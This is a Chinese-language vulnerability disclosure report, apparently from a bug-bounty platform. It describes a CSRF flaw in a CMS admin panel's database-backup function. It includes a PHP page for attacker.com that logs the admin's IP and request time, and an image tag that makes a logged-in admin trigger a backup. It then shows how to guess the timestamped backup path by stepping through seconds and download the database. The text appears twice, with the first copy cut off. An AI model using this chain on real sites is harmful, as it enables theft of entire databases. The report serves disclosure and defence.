### 简要描述: 重要功能未进行csrf token验证导致可被脱裤 ### 详细说明: 后台管理中的数据备份功能未进行csrf token验证。 攻击者制作内容如下的csrf.php并放到attacker.com下面: ``` <?php file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND); file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND); ?> <img src="http://victim.com/admin/?controller=dbmanage&operate=save&type=0"> ``` 随后将http://attacker.com/csrf.php这个URL发送给受害者(网站管理员)。如果管理员在打开该URL时处于登录状态就会以管理员的身份像目标服务器发送备份数据库的请求: ``` ?controller=dbmanage&operate=save&type=0 ``` 与此同时,攻击者还会获取到管理员发送该求情的大概时间。(此处需要声明的是,虽然攻击者获取的时间为自己服务器的时间。但是服务器嘛,一个国家内的除去新疆都没有时差。而且都会跟time server同步。所以基本上是不用考虑两台服务器之间的时间差问题。) 现在攻击者跑到http://attacker.com/test.txt查看管理员发送请求时的时间: ``` IP:119.72.193.99 Time:2014.07.14 00:48:39 ``` 随后将其改成如下的格式: ``` a-b-c_def/00001.sql(年-月-日_时分秒) ``` 改完后,就是: ``` 2014-07-14_004839/00001.sql ``` 最后再把路径也加进来: ``` http://10.211.55.4/admin/app/dbbackup/2014-07-14_004839/00001.sql ```...
### 简要描述: 重要功能未进行csrf token验证导致可被脱裤 ### 详细说明: 后台管理中的数据备份功能未进行csrf token验证。 攻击者制作内容如下的csrf.php并放到attacker.com下面: ``` <?php file_put_contents("test.txt", " IP:".$_SERVER["REMOTE_ADDR"], FILE_APPEND); file_put_contents("test.txt", " Time:".date("Y.m.d H:i:s"),FILE_APPEND); ?> <img src="http://victim.com/admin/?controller=dbmanage&operate=save&type=0"> ``` 随后将http://attacker.com/csrf.php这个URL发送给受害者(网站管理员)。如果管理员在打开该URL时处于登录状态就会以管理员的身份像目标服务器发送备份数据库的请求: ``` ?controller=dbmanage&operate=save&type=0 ``` 与此同时,攻击者还会获取到管理员发送该求情的大概时间。(此处需要声明的是,虽然攻击者获取的时间为自己服务器的时间。但是服务器嘛,一个国家内的除去新疆都没有时差。而且都会跟time server同步。所以基本上是不用考虑两台服务器之间的时间差问题。) 现在攻击者跑到http://attacker.com/test.txt查看管理员发送请求时的时间: ``` IP:119.72.193.99 Time:2014.07.14 00:48:39 ``` 随后将其改成如下的格式: ``` a-b-c_def/00001.sql(年-月-日_时分秒) ``` 改完后,就是: ``` 2014-07-14_004839/00001.sql ``` 最后再把路径也加进来: ``` http://10.211.55.4/admin/app/dbbackup/2014-07-14_004839/00001.sql ``` 局域网内环境测试,会有2s左右的时间差。如果是Internet肯定会根据实际网络状况有更大的差别,不过不会太大。再夸张也还是秒单位的。所以攻击者只需要逐步修改URL中的秒数从39开始一秒一秒的推。 最后就可以下载到备份数据了。 ### 漏洞证明: 攻击者成功得到备份数据库路径,并进行下载: [<img src="https://images.seebug.org/upload/201407/140116103c37ab75cf3f6a77245dc1f2aeb4d526.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/140116103c37ab75cf3f6a77245dc1f2aeb4d526.png)